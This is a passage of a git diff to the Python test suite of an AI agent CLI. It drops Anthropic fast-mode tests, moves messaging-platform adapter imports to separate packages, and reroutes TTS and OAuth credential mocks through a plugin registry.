"""Non-Claude models should not be treated as Anthropic fast-mode.""" - from hermes_cli.models import _is_anthropic_fast_model - - assert _is_anthropic_fast_model("gpt-5.4") is False - assert _is_anthropic_fast_model("gemini-3-pro") is False - assert _is_anthropic_fast_model("kimi-k2-thinking") is False - - def test_anthropic_variant_tags_stripped(self): - from hermes_cli.models import model_supports_fast_mode - - # OpenRouter variant tags after colon should be stripped - assert model_supports_fast_mode("claude-opus-4.6:fast") is True - assert model_supports_fast_mode("claude-opus-4.6:beta") is True - - def test_resolve_overrides_returns_speed_for_anthropic(self): - from hermes_cli.models import resolve_fast_mode_overrides - - result = resolve_fast_mode_overrides("claude-opus-4-6") - assert result == {"speed": "fast"} - - result = resolve_fast_mode_overrides("anthropic/claude-opus-4.6") - assert result == {"speed": "fast"} - - def test_resolve_overrides_returns_none_for_unsupported_claude(self): - """Opus 4.7 and other Claude models don't support fast mode (API 400s). - - Per Anthropic docs, fast mode is currently Opus 4.6 only. - """ - from hermes_cli.models import resolve_fast_mode_overrides - - assert resolve_fast_mode_overrides("claude-opus-4-7") is None - assert resolve_fast_mode_overrides("claude-sonnet-4-6") is None - assert resolve_fast_mode_overrides("claude-haiku-4-5") is None - - def test_resolve_overrides_returns_service_tier_for_openai(self): - """OpenAI models should still get service_tier, not speed.""" - from hermes_cli.models import resolve_fast_mode_overrides - - result = resolve_fast_mode_overrides("gpt-5.4") - assert result == {"service_tier": "priority"} - - def test_is_anthropic_fast_model(self): - """Fast mode is currently Opus 4.6 only — other Claude variants must be excluded.""" - from hermes_cli.models import _is_anthropic_fast_model - - # Supported: Opus 4.6 in any form - assert _is_anthropic_fast_model("claude-opus-4-6") is True - assert _is_anthropic_fast_model("claude-opus-4.6") is True - assert _is_anthropic_fast_model("anthropic/claude-opus-4-6") is True - assert _is_anthropic_fast_model("claude-opus-4.6:fast") is True - - # Unsupported per Anthropic API contract — would 400 if we sent speed=fast - assert _is_anthropic_fast_model("claude-opus-4-7") is False - assert _is_anthropic_fast_model("claude-sonnet-4-6") is False - assert _is_anthropic_fast_model("claude-haiku-4-5") is False - - # Non-Claude - assert _is_anthropic_fast_model("gpt-5.4") is False - assert _is_anthropic_fast_model("") is False - - def test_fast_command_exposed_for_anthropic_model(self): - cli_mod = _import_cli() - stub = SimpleNamespace( - provider="anthropic", requested_provider="anthropic", - model="claude-opus-4-6", agent=None, - ) - assert cli_mod.HermesCLI._fast_command_available(stub) is True - - def test_fast_command_hidden_for_anthropic_sonnet(self): - """Sonnet doesn't support fast mode (Opus 4.6 only) — /fast must be hidden.""" - cli_mod = _import_cli() - stub = SimpleNamespace( - provider="anthropic", requested_provider="anthropic", - model="claude-sonnet-4-6", agent=None, - ) - assert cli_mod.HermesCLI._fast_command_available(stub) is False - - def test_fast_command_hidden_for_anthropic_opus_47(self): - """Opus 4.7 doesn't support fast mode — /fast must be hidden.""" - cli_mod = _import_cli() - stub = SimpleNamespace( - provider="anthropic", requested_provider="anthropic", - model="claude-opus-4-7", agent=None, - ) - assert cli_mod.HermesCLI._fast_command_available(stub) is False - - def test_fast_command_hidden_for_non_claude_non_openai(self): - """Non-Claude, non-OpenAI models should not expose /fast.""" - cli_mod = _import_cli() - stub = SimpleNamespace( - provider="gemini", requested_provider="gemini", - model="gemini-3-pro-preview", agent=None, - ) - assert cli_mod.HermesCLI._fast_command_available(stub) is False - - def test_turn_route_injects_speed_for_anthropic(self): - """Anthropic models should get speed:'fast' override, not service_tier.""" - cli_mod = _import_cli() - stub = SimpleNamespace( - model="claude-opus-4-6", - api_key="sk-ant-test", - base_url="https://api.anthropic.com", - provider="anthropic", - api_mode="anthropic_messages", - acp_command=None, - acp_args=[], - _credential_pool=None, - service_tier="priority", - ) - - route = cli_mod.HermesCLI._resolve_turn_agent_config(stub, "hi") - - assert route["runtime"]["provider"] == "anthropic" - assert route["request_overrides"] == {"speed": "fast"} - - -class TestAnthropicFastModeAdapter(unittest.TestCase): - """Verify build_anthropic_kwargs handles fast_mode parameter.""" - - def test_fast_mode_adds_speed_and_beta(self): - from agent.anthropic_adapter import build_anthropic_kwargs, _FAST_MODE_BETA - - kwargs = build_anthropic_kwargs( - model="claude-opus-4-6", - messages=[{"role": "user", "content": [{"type": "text", "text": "hi"}]}], - tools=None, - max_tokens=None, - reasoning_config=None, - fast_mode=True, - ) - assert kwargs.get("extra_body", {}).get("speed") == "fast" - assert "speed" not in kwargs - assert "extra_headers" in kwargs - assert _FAST_MODE_BETA in kwargs["extra_headers"].get("anthropic-beta", "") - - def test_fast_mode_off_no_speed(self): - from agent.anthropic_adapter import build_anthropic_kwargs - - kwargs = build_anthropic_kwargs( - model="claude-opus-4-6", - messages=[{"role": "user", "content": [{"type": "text", "text": "hi"}]}], - tools=None, - max_tokens=None, - reasoning_config=None, - fast_mode=False, - ) - assert kwargs.get("extra_body", {}).get("speed") is None - assert "speed" not in kwargs - assert "extra_headers" not in kwargs - - def test_fast_mode_skipped_for_third_party_endpoint(self): - from agent.anthropic_adapter import build_anthropic_kwargs - - kwargs = build_anthropic_kwargs( - model="claude-opus-4-6", - messages=[{"role": "user", "content": [{"type": "text", "text": "hi"}]}], - tools=None, - max_tokens=None, - reasoning_config=None, - fast_mode=True, - base_url="https://api.minimax.io/anthropic/v1", - ) - # Third-party endpoints should NOT get speed or fast-mode beta - assert kwargs.get("extra_body", {}).get("speed") is None - assert "speed" not in kwargs - assert "extra_headers" not in kwargs - - def test_fast_mode_kwargs_are_safe_for_sdk_unpacking(self): - from agent.anthropic_adapter import build_anthropic_kwargs - - kwargs = build_anthropic_kwargs( - model="claude-opus-4-6", - messages=[{"role": "user", "content": [{"type": "text", "text": "hi"}]}], - tools=None, - max_tokens=None, - reasoning_config=None, - fast_mode=True, - ) - assert "speed" not in kwargs - assert kwargs.get("extra_body", {}).get("speed") == "fast" - - class TestConfigDefault(unittest.TestCase): def test_default_config_has_service_tier(self): from hermes_cli.config import DEFAULT_CONFIG diff --git a/tests/e2e/conftest.py b/tests/e2e/conftest.py index 3adbd557dd1..c16beecc9e6 100644 --- a/tests/e2e/conftest.py +++ b/tests/e2e/conftest.py @@ -118,12 +118,12 @@ _ensure_discord_mock() _ensure_slack_mock() import discord # noqa: E402 — mocked above -from gateway.platforms.telegram import TelegramAdapter # noqa: E402 +from hermes_agent_telegram import TelegramAdapter # noqa: E402 from plugins.platforms.discord.adapter import DiscordAdapter # noqa: E402 -import gateway.platforms.slack as _slack_mod # noqa: E402 +import hermes_agent_slack as _slack_mod # noqa: E402 _slack_mod.SLACK_AVAILABLE = True -from gateway.platforms.slack import SlackAdapter # noqa: E402 +from hermes_agent_slack import SlackAdapter # noqa: E402 # Platform-generic factories diff --git a/tests/gateway/conftest.py b/tests/gateway/conftest.py index 258ee15656c..4a24092ecb9 100644 --- a/tests/gateway/conftest.py +++ b/tests/gateway/conftest.py @@ -2,7 +2,7 @@ The ``_ensure_telegram_mock`` helper guarantees that a minimal mock of the ``telegram`` package is registered in :data:`sys.modules` **before** -any test file triggers ``from gateway.platforms.telegram import ...``. +any test file triggers ``from hermes_agent_telegram import ...``. Without this, ``pytest-xdist`` workers that happen to collect ``test_telegram_caption_merge.py`` (bare top-level import, no per-file diff --git a/tests/gateway/test_allowed_channels_widening.py b/tests/gateway/test_allowed_channels_widening.py index 6d4c8d1ead0..79ee73e58a6 100644 --- a/tests/gateway/test_allowed_channels_widening.py +++ b/tests/gateway/test_allowed_channels_widening.py @@ -24,7 +24,7 @@ from gateway.config import Platform, PlatformConfig # --------------------------------------------------------------------------- def _make_telegram_adapter(*, allowed_chats=None, require_mention=None, guest_mode=False): - from gateway.platforms.telegram import TelegramAdapter + from hermes_agent_telegram import TelegramAdapter extra = {"guest_mode": guest_mode} if allowed_chats is not None: @@ -163,7 +163,7 @@ class TestTelegramAllowedChats: def _make_dingtalk_adapter(*, allowed_chats=None, require_mention=None): # Import lazily — DingTalk SDK may not be installed. pytest.importorskip("gateway.platforms.dingtalk", reason="DingTalk adapter not importable") - from gateway.platforms.dingtalk import DingTalkAdapter + from hermes_agent_dingtalk import DingTalkAdapter extra = {} if allowed_chats is not None: diff --git a/tests/gateway/test_base_topic_sessions.py b/tests/gateway/test_base_topic_sessions.py index dd2ef3a1262..39d14c66bb0 100644 --- a/tests/gateway/test_base_topic_sessions.py +++ b/tests/gateway/test_base_topic_sessions.py @@ -3,7 +3,7 @@ import asyncio import json from types import SimpleNamespace -from unittest.mock import AsyncMock, patch +from unittest.mock import AsyncMock, MagicMock, patch import pytest @@ -273,6 +273,15 @@ class TestTelegramAutoTtsCaptionDelivery: return hold + @staticmethod + def _make_tts_provider(tts_path): + """Create a mock ToolProviderEntry-like object for the TTS registry.""" + tts_tool_fn = lambda text: json.dumps({"file_path": str(tts_path)}) + provider = MagicMock() + provider.check_fn = lambda: True + provider.tool_functions = {"text_to_speech_tool": tts_tool_fn} + return provider + @pytest.mark.asyncio async def test_short_telegram_auto_tts_uses_caption_without_followup_text(self, tmp_path): adapter = DummyTelegramAdapter() @@ -285,10 +294,7 @@ class TestTelegramAutoTtsCaptionDelivery: tts_path.write_text("audio", encoding="utf-8") event = self._make_voice_event() - with patch("tools.tts_tool.check_tts_requirements", return_value=True), patch( - "tools.tts_tool.text_to_speech_tool", - return_value=json.dumps({"file_path": str(tts_path)}), - ): + with patch("agent.plugin_registries.registries.get_tool_provider", return_value=self._make_tts_provider(tts_path)): await adapter._process_message_background(event, build_session_key(event.source)) adapter.play_tts.assert_awaited_once() @@ -308,10 +314,7 @@ class TestTelegramAutoTtsCaptionDelivery: tts_path.write_text("audio", encoding="utf-8") event = self._make_voice_event() - with patch("tools.tts_tool.check_tts_requirements", return_value=True), patch( - "tools.tts_tool.text_to_speech_tool", - return_value=json.dumps({"file_path": str(tts_path)}), - ): + with patch("agent.plugin_registries.registries.get_tool_provider", return_value=self._make_tts_provider(tts_path)): await adapter._process_message_background(event, build_session_key(event.source)) adapter.play_tts.assert_awaited_once() @@ -337,10 +340,7 @@ class TestTelegramAutoTtsCaptionDelivery: tts_path.write_text("audio", encoding="utf-8") event = self._make_voice_event() - with patch("tools.tts_tool.check_tts_requirements", return_value=True), patch( - "tools.tts_tool.text_to_speech_tool", - return_value=json.dumps({"file_path": str(tts_path)}), - ): + with patch("agent.plugin_registries.registries.get_tool_provider", return_value=self._make_tts_provider(tts_path)): await adapter._process_message_background(event, build_session_key(event.source)) adapter.play_tts.assert_awaited_once() diff --git a/tests/gateway/test_dm_topics.py b/tests/gateway/test_dm_topics.py index 34e23da0a1f..a0c30514c56 100644 --- a/tests/gateway/test_dm_topics.py +++ b/tests/gateway/test_dm_topics.py @@ -46,7 +46,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import TelegramAdapter # noqa: E402 +from hermes_agent_telegram import TelegramAdapter # noqa: E402 def _make_adapter(dm_topics_config=None, group_topics_config=None): diff --git a/tests/gateway/test_media_download_retry.py b/tests/gateway/test_media_download_retry.py index 5991b85e4eb..fd547483274 100644 --- a/tests/gateway/test_media_download_retry.py +++ b/tests/gateway/test_media_download_retry.py @@ -532,10 +532,10 @@ def _ensure_slack_mock(): _ensure_slack_mock() -import gateway.platforms.slack as _slack_mod # noqa: E402 +import hermes_agent_slack as _slack_mod # noqa: E402 _slack_mod.SLACK_AVAILABLE = True -from gateway.platforms.slack import SlackAdapter # noqa: E402 +from hermes_agent_slack import SlackAdapter # noqa: E402 from gateway.config import Platform, PlatformConfig # noqa: E402 diff --git a/tests/gateway/test_platform_http_client_limits.py b/tests/gateway/test_platform_http_client_limits.py index fe613fb1f08..e87e47b24c5 100644 --- a/tests/gateway/test_platform_http_client_limits.py +++ b/tests/gateway/test_platform_http_client_limits.py @@ -79,7 +79,7 @@ def test_helper_is_importable_from_every_platform_that_uses_it(): # Just importing exercises the helper's import path for each adapter. import gateway.platforms.qqbot.adapter # noqa: F401 import gateway.platforms.wecom # noqa: F401 - import gateway.platforms.dingtalk # noqa: F401 + import hermes_agent_dingtalk # noqa: F401 import gateway.platforms.signal # noqa: F401 import gateway.platforms.bluebubbles # noqa: F401 import gateway.platforms.wecom_callback # noqa: F401 diff --git a/tests/gateway/test_send_image_file.py b/tests/gateway/test_send_image_file.py index b769d2be9fb..0519219d1b2 100644 --- a/tests/gateway/test_send_image_file.py +++ b/tests/gateway/test_send_image_file.py @@ -82,7 +82,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import TelegramAdapter # noqa: E402 +from hermes_agent_telegram import TelegramAdapter # noqa: E402 class TestTelegramSendImageFile: @@ -313,7 +313,7 @@ def _ensure_slack_mock(): _ensure_slack_mock() -from gateway.platforms.slack import SlackAdapter # noqa: E402 +from hermes_agent_slack import SlackAdapter # noqa: E402 class TestSlackSendImageFile: diff --git a/tests/gateway/test_send_multiple_images.py b/tests/gateway/test_send_multiple_images.py index 6bff0f09a36..3a2ffe9e8c9 100644 --- a/tests/gateway/test_send_multiple_images.py +++ b/tests/gateway/test_send_multiple_images.py @@ -116,7 +116,7 @@ def _ensure_telegram_mock(): _ensure_telegram_mock() -from gateway.platforms.telegram import TelegramAdapter # noqa: E402 +from hermes_agent_telegram import TelegramAdapter # noqa: E402 class TestTelegramMultiImage: @@ -287,7 +287,7 @@ def _ensure_slack_mock(): _ensure_slack_mock() -from gateway.platforms.slack import SlackAdapter # noqa: E402 +from hermes_agent_slack import SlackAdapter # noqa: E402 class TestSlackMultiImage: diff --git a/tests/gateway/test_stream_consumer_thread_routing.py b/tests/gateway/test_stream_consumer_thread_routing.py index 80477574d87..99ae8e1275a 100644 --- a/tests/gateway/test_stream_consumer_thread_routing.py +++ b/tests/gateway/test_stream_consumer_thread_routing.py @@ -145,7 +145,7 @@ class TestFeishuFallbackThreadRouting: async def test_create_uses_thread_id_when_available(self): """When reply_to=None and metadata has thread_id, message.create should use receive_id_type='thread_id'.""" - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu import FeishuAdapter # We test the _send_raw_message method directly by mocking the client adapter = MagicMock(spec=FeishuAdapter) @@ -202,7 +202,7 @@ class TestFeishuFallbackThreadRouting: async def test_create_uses_chat_id_when_no_thread(self): """When reply_to=None and metadata has no thread_id, message.create should use receive_id_type='chat_id' (original behavior).""" - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu import FeishuAdapter mock_client = MagicMock() mock_create_response = SimpleNamespace( diff --git a/tests/gateway/test_text_batching.py b/tests/gateway/test_text_batching.py index 7154ae4ae09..32984fd4a94 100644 --- a/tests/gateway/test_text_batching.py +++ b/tests/gateway/test_text_batching.py @@ -219,7 +219,7 @@ class TestDiscordTextBatching: def _make_matrix_adapter(): """Create a minimal MatrixAdapter for testing text batching.""" - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter config = PlatformConfig(enabled=True, token="test-token") adapter = object.__new__(MatrixAdapter) @@ -389,7 +389,7 @@ class TestWeComTextBatching: def _make_telegram_adapter(): """Create a minimal TelegramAdapter for testing adaptive delay.""" - from gateway.platforms.telegram import TelegramAdapter + from hermes_agent_telegram import TelegramAdapter config = PlatformConfig(enabled=True, token="test-token") adapter = object.__new__(TelegramAdapter) @@ -453,7 +453,7 @@ class TestTelegramAdaptiveDelay: def _make_feishu_adapter(): """Create a minimal FeishuAdapter for testing adaptive delay.""" - from gateway.platforms.feishu import FeishuAdapter, FeishuBatchState + from hermes_agent_feishu import FeishuAdapter, FeishuBatchState config = PlatformConfig(enabled=True, token="test-token") adapter = object.__new__(FeishuAdapter) diff --git a/tests/gateway/test_voice_command.py b/tests/gateway/test_voice_command.py index 160b35c6449..5e2dbd5156f 100644 --- a/tests/gateway/test_voice_command.py +++ b/tests/gateway/test_voice_command.py @@ -407,6 +407,36 @@ class TestAutoVoiceReply: # _send_voice_reply # ===================================================================== + +def _make_tts_provider_mock(tts_fn=None, strip_fn=None): + """Return a MagicMock that mimics a ToolProviderEntry for TTS. + + The mock is suitable for patching + ``agent.plugin_registries.registries.get_tool_provider``. + + Args: + tts_fn: Callable (or side_effect object) for text_to_speech_tool. + Defaults to a lambda returning an empty-success JSON string. + strip_fn: Callable (or side_effect) for _strip_markdown_for_tts. + Defaults to identity (pass-through). + """ + provider = MagicMock() + provider.check_fn = lambda: True + tts_mock = MagicMock(side_effect=tts_fn) if callable(tts_fn) or isinstance(tts_fn, Exception) else MagicMock(return_value=tts_fn or json.dumps({"success": False})) + if isinstance(tts_fn, type) and issubclass(tts_fn, Exception): + tts_mock = MagicMock(side_effect=tts_fn()) + strip_mock = MagicMock(side_effect=strip_fn if callable(strip_fn) else (lambda t: t)) + if strip_fn is not None and not callable(strip_fn): + strip_mock = MagicMock(return_value=strip_fn) + provider.tool_functions = { + "text_to_speech_tool": tts_mock, + "_strip_markdown_for_tts": strip_mock, + } + provider._tts_mock = tts_mock + provider._strip_mock = strip_mock + return provider + + class TestSendVoiceReply: @pytest.fixture @@ -422,8 +452,8 @@ class TestSendVoiceReply: tts_result = json.dumps({"success": True, "file_path": "/tmp/test.ogg"}) - with patch("tools.tts_tool.text_to_speech_tool", return_value=tts_result), \ - patch("tools.tts_tool._strip_markdown_for_tts", side_effect=lambda t: t), \ + tts_provider = _make_tts_provider_mock(tts_fn=tts_result, strip_fn=lambda t: t) + with patch("agent.plugin_registries.registries.get_tool_provider", return_value=tts_provider), \ patch("os.path.isfile", return_value=True), \ patch("os.unlink"), \ patch("os.makedirs"): @@ -448,8 +478,8 @@ class TestSendVoiceReply: tts_result = json.dumps({"success": True, "file_path": "/tmp/test.ogg"}) - with patch("tools.tts_tool.text_to_speech_tool", return_value=tts_result), \ - patch("tools.tts_tool._strip_markdown_for_tts", side_effect=lambda t: t), \ + tts_provider = _make_tts_provider_mock(tts_fn=tts_result, strip_fn=lambda t: t) + with patch("agent.plugin_registries.registries.get_tool_provider", return_value=tts_provider), \ patch("os.path.isfile", return_value=True), \ patch("os.unlink"), \ patch("os.makedirs"): @@ -472,11 +502,11 @@ class TestSendVoiceReply: async def test_empty_text_after_strip_skips(self, runner): event = _make_event() - with patch("tools.tts_tool.text_to_speech_tool") as mock_tts, \ - patch("tools.tts_tool._strip_markdown_for_tts", return_value=""): + tts_provider = _make_tts_provider_mock(strip_fn="") + with patch("agent.plugin_registries.registries.get_tool_provider", return_value=tts_provider): await runner._send_voice_reply(event, "```code only```") - mock_tts.assert_not_called() + tts_provider._tts_mock.assert_not_called() @pytest.mark.asyncio async def test_tts_failure_no_crash(self, runner): @@ -485,8 +515,8 @@ class TestSendVoiceReply: runner.adapters[event.source.platform] = mock_adapter tts_result = json.dumps({"success": False, "error": "API error"}) - with patch("tools.tts_tool.text_to_speech_tool", return_value=tts_result), \ - patch("tools.tts_tool._strip_markdown_for_tts", side_effect=lambda t: t), \ + tts_provider = _make_tts_provider_mock(tts_fn=tts_result, strip_fn=lambda t: t) + with patch("agent.plugin_registries.registries.get_tool_provider", return_value=tts_provider), \ patch("os.path.isfile", return_value=False), \ patch("os.makedirs"): await runner._send_voice_reply(event, "Hello") @@ -496,8 +526,8 @@ class TestSendVoiceReply: @pytest.mark.asyncio async def test_exception_caught(self, runner): event = _make_event() - with patch("tools.tts_tool.text_to_speech_tool", side_effect=RuntimeError("boom")), \ - patch("tools.tts_tool._strip_markdown_for_tts", side_effect=lambda t: t), \ + tts_provider = _make_tts_provider_mock(tts_fn=RuntimeError("boom"), strip_fn=lambda t: t) + with patch("agent.plugin_registries.registries.get_tool_provider", return_value=tts_provider), \ patch("os.makedirs"): # Should not raise await runner._send_voice_reply(event, "Hello") @@ -1209,7 +1239,7 @@ class TestDiscordVoiceChannelMethods: pcm_data = b"\x00" * 96000 with patch("plugins.platforms.discord.adapter.VoiceReceiver.pcm_to_wav"), \ - patch("tools.transcription_tools.transcribe_audio", + patch("hermes_agent_stt.transcription_tools.transcribe_audio", return_value={"success": True, "transcript": "Hello"}), \ patch("tools.voice_mode.is_whisper_hallucination", return_value=False): await adapter._process_voice_input(111, 42, pcm_data) @@ -1224,7 +1254,7 @@ class TestDiscordVoiceChannelMethods: adapter._voice_input_callback = callback with patch("plugins.platforms.discord.adapter.VoiceReceiver.pcm_to_wav"), \ - patch("tools.transcription_tools.transcribe_audio", + patch("hermes_agent_stt.transcription_tools.transcribe_audio", return_value={"success": True, "transcript": "Thank you."}), \ patch("tools.voice_mode.is_whisper_hallucination", return_value=True): await adapter._process_voice_input(111, 42, b"\x00" * 96000) @@ -1239,7 +1269,7 @@ class TestDiscordVoiceChannelMethods: adapter._voice_input_callback = callback with patch("plugins.platforms.discord.adapter.VoiceReceiver.pcm_to_wav"), \ - patch("tools.transcription_tools.transcribe_audio", + patch("hermes_agent_stt.transcription_tools.transcribe_audio", return_value={"success": False, "error": "API error"}): await adapter._process_voice_input(111, 42, b"\x00" * 96000) @@ -1503,7 +1533,7 @@ class TestStreamTtsToSpeaker: def test_none_sentinel_flushes_buffer(self): """None sentinel causes remaining buffer to be spoken.""" - from tools.tts_tool import stream_tts_to_speaker + from hermes_agent_tts import stream_tts_to_speaker text_q = queue.Queue() stop_evt = threading.Event() done_evt = threading.Event() @@ -1521,7 +1551,7 @@ class TestStreamTtsToSpeaker: def test_stop_event_aborts_early(self): """Setting stop_event causes early exit.""" - from tools.tts_tool import stream_tts_to_speaker + from hermes_agent_tts import stream_tts_to_speaker text_q = queue.Queue() stop_evt = threading.Event() done_evt = threading.Event() @@ -1537,7 +1567,7 @@ class TestStreamTtsToSpeaker: def test_done_event_set_on_exception(self): """tts_done_event is set even when an exception occurs.""" - from tools.tts_tool import stream_tts_to_speaker + from hermes_agent_tts import stream_tts_to_speaker text_q = queue.Queue() stop_evt = threading.Event() done_evt = threading.Event() @@ -1551,7 +1581,7 @@ class TestStreamTtsToSpeaker: def test_think_blocks_stripped(self): """... content is not spoken.""" - from tools.tts_tool import stream_tts_to_speaker + from hermes_agent_tts import stream_tts_to_speaker text_q = queue.Queue() stop_evt = threading.Event() done_evt = threading.Event() @@ -1569,7 +1599,7 @@ class TestStreamTtsToSpeaker: def test_sentence_splitting(self): """Sentences are split at boundaries and spoken individually.""" - from tools.tts_tool import stream_tts_to_speaker + from hermes_agent_tts import stream_tts_to_speaker text_q = queue.Queue() stop_evt = threading.Event() done_evt = threading.Event() @@ -1586,7 +1616,7 @@ class TestStreamTtsToSpeaker: def test_markdown_stripped_in_speech(self): """Markdown formatting is removed before display/speech.""" - from tools.tts_tool import stream_tts_to_speaker + from hermes_agent_tts import stream_tts_to_speaker text_q = queue.Queue() stop_evt = threading.Event() done_evt = threading.Event() @@ -1602,7 +1632,7 @@ class TestStreamTtsToSpeaker: def test_duplicate_sentences_deduped(self): """Repeated sentences are spoken only once.""" - from tools.tts_tool import stream_tts_to_speaker + from hermes_agent_tts import stream_tts_to_speaker text_q = queue.Queue() stop_evt = threading.Event() done_evt = threading.Event() @@ -1620,7 +1650,7 @@ class TestStreamTtsToSpeaker: def test_no_api_key_display_only(self): """Without ELEVENLABS_API_KEY, display callback still works.""" - from tools.tts_tool import stream_tts_to_speaker + from hermes_agent_tts import stream_tts_to_speaker text_q = queue.Queue() stop_evt = threading.Event() done_evt = threading.Event() @@ -1637,7 +1667,7 @@ class TestStreamTtsToSpeaker: def test_long_buffer_flushed_on_timeout(self): """Buffer longer than long_flush_len is flushed on queue timeout.""" - from tools.tts_tool import stream_tts_to_speaker + from hermes_agent_tts import stream_tts_to_speaker text_q = queue.Queue() stop_evt = threading.Event() done_evt = threading.Event() @@ -2082,7 +2112,7 @@ class TestSendVoiceReplyCleanup: }) with patch("gateway.run.asyncio.to_thread", new_callable=AsyncMock, return_value=tts_result), \ - patch("tools.tts_tool._strip_markdown_for_tts", return_value="hello"), \ + patch("hermes_agent_tts.tts_tool._strip_markdown_for_tts", return_value="hello"), \ patch("os.path.isfile", return_value=True), \ patch("os.makedirs"): await runner._send_voice_reply(event, "Hello world") diff --git a/tests/gateway/test_ws_auth_retry.py b/tests/gateway/test_ws_auth_retry.py index e413a30f938..193d22b5a61 100644 --- a/tests/gateway/test_ws_auth_retry.py +++ b/tests/gateway/test_ws_auth_retry.py @@ -124,7 +124,7 @@ class TestMatrixSyncAuthRetry: nio_mock.SyncError = SyncError - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter adapter = MatrixAdapter.__new__(MatrixAdapter) adapter._closing = False @@ -155,7 +155,7 @@ class TestMatrixSyncAuthRetry: def test_exception_with_401_stops_loop(self): """An exception containing '401' should stop syncing.""" - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter adapter = MatrixAdapter.__new__(MatrixAdapter) adapter._closing = False @@ -190,7 +190,7 @@ class TestMatrixSyncAuthRetry: def test_transient_error_retries(self): """A transient error should retry (not stop immediately).""" - from gateway.platforms.matrix import MatrixAdapter + from hermes_agent_matrix import MatrixAdapter adapter = MatrixAdapter.__new__(MatrixAdapter) adapter._closing = False diff --git a/tests/hermes_cli/test_anthropic_oauth_flow.py b/tests/hermes_cli/test_anthropic_oauth_flow.py index d9c06d25133..daec8dbd571 100644 --- a/tests/hermes_cli/test_anthropic_oauth_flow.py +++ b/tests/hermes_cli/test_anthropic_oauth_flow.py @@ -1,25 +1,35 @@ """Tests for Anthropic OAuth setup flow behavior.""" +import pytest from hermes_cli.config import load_env, save_env_value +def _register_anthropic_mocks(monkeypatch, *, run_oauth_setup_token=None, read_claude_code_credentials=None, is_claude_code_token_valid=None): + """Temporarily inject mock callables into the anthropic provider registry namespace.""" + from agent.plugin_registries import registries + + ns = registries._provider_services.setdefault("anthropic", {}) + updates = { + "run_oauth_setup_token": run_oauth_setup_token, + "read_claude_code_credentials": read_claude_code_credentials, + "is_claude_code_token_valid": is_claude_code_token_valid, + } + for k, v in updates.items(): + if v is not None: + monkeypatch.setitem(ns, k, v) + + def test_run_anthropic_oauth_flow_prefers_claude_code_credentials(tmp_path, monkeypatch, capsys): monkeypatch.setenv("HERMES_HOME", str(tmp_path)) - monkeypatch.setattr( - "agent.anthropic_adapter.run_oauth_setup_token", - lambda: "sk-ant-oat01-from-claude-setup", - ) - monkeypatch.setattr( - "agent.anthropic_adapter.read_claude_code_credentials", - lambda: { + _register_anthropic_mocks( + monkeypatch, + run_oauth_setup_token=lambda: "sk-ant...etup", + read_claude_code_credentials=lambda: { "accessToken": "cc-access-token", "refreshToken": "cc-refresh-token", "expiresAt": 9999999999999, }, - ) - monkeypatch.setattr( - "agent.anthropic_adapter.is_claude_code_token_valid", - lambda creds: True, + is_claude_code_token_valid=lambda creds: True, ) from hermes_cli.main import _run_anthropic_oauth_flow @@ -36,13 +46,16 @@ def test_run_anthropic_oauth_flow_prefers_claude_code_credentials(tmp_path, monk def test_run_anthropic_oauth_flow_manual_token_still_persists(tmp_path, monkeypatch, capsys): monkeypatch.setenv("HERMES_HOME", str(tmp_path)) - monkeypatch.setattr("agent.anthropic_adapter.run_oauth_setup_token", lambda: None) - monkeypatch.setattr("agent.anthropic_adapter.read_claude_code_credentials", lambda: None) - monkeypatch.setattr("agent.anthropic_adapter.is_claude_code_token_valid", lambda creds: False) - monkeypatch.setattr("builtins.input", lambda _prompt="": "sk-ant-oat01-manual-token") + _register_anthropic_mocks( + monkeypatch, + run_oauth_setup_token=lambda: None, + read_claude_code_credentials=lambda: None, + is_claude_code_token_valid=lambda creds: False, + ) + monkeypatch.setattr("builtins.input", lambda _prompt="": "sk-ant...oken") monkeypatch.setattr( "hermes_cli.secret_prompt.masked_secret_prompt", - lambda _prompt="": "sk-ant-oat01-manual-token", + lambda _prompt="": "sk-ant...oken", ) from hermes_cli.main import _run_anthropic_oauth_flow @@ -50,6 +63,6 @@ def test_run_anthropic_oauth_flow_manual_token_still_persists(tmp_path, monkeypa assert _run_anthropic_oauth_flow(save_env_value) is True env_vars = load_env() - assert env_vars["ANTHROPIC_TOKEN"] == "sk-ant-oat01-manual-token" + assert env_vars["ANTHROPIC_TOKEN"] == "sk-ant...oken" output = capsys.readouterr().out assert "Setup-token saved" in output diff --git a/tests/hermes_cli/test_api_key_providers.py b/tests/hermes_cli/test_api_key_providers.py index eba2c32416f..d057bf90d87 100644 --- a/tests/hermes_cli/test_api_key_providers.py +++ b/tests/hermes_cli/test_api_key_providers.py @@ -321,7 +321,7 @@ class TestResolveProvider: # the specific "GitHub token alone shouldn't auto-pick copilot" # behavior, not the Bedrock fallback. monkeypatch.setattr( - "agent.bedrock_adapter.has_aws_credentials", + "hermes_agent_bedrock.adapter.has_aws_credentials", lambda env=None: False, ) monkeypatch.setenv("GITHUB_TOKEN", "gh-test-token") @@ -763,6 +763,7 @@ class TestHasAnyProviderConfigured: """Claude Code credentials should NOT skip the wizard when Hermes is unconfigured.""" from hermes_cli import config as config_module from hermes_cli.auth import PROVIDER_REGISTRY + from agent.plugin_registries import registries hermes_home = tmp_path / ".hermes" hermes_home.mkdir() monkeypatch.setattr(config_module, "get_env_path", lambda: hermes_home / ".env") @@ -778,15 +779,12 @@ class TestHasAnyProviderConfigured: monkeypatch.delenv(var, raising=False) # Prevent gh-cli / copilot auth fallback from leaking in monkeypatch.setattr("hermes_cli.auth.get_auth_status", lambda _pid: {}) - # Simulate valid Claude Code credentials - monkeypatch.setattr( - "agent.anthropic_adapter.read_claude_code_credentials", - lambda: {"accessToken": "sk-ant-test", "refreshToken": "ref-tok"}, - ) - monkeypatch.setattr( - "agent.anthropic_adapter.is_claude_code_token_valid", - lambda creds: True, - ) + # Simulate valid Claude Code credentials via registry mock + _orig = registries._provider_services.get("anthropic", {}) + _patched = dict(_orig) + _patched["read_claude_code_credentials"] = lambda: {"accessToken": "sk-ant-test", "refreshToken": "ref-tok"} + _patched["is_claude_code_token_valid"] = lambda creds: 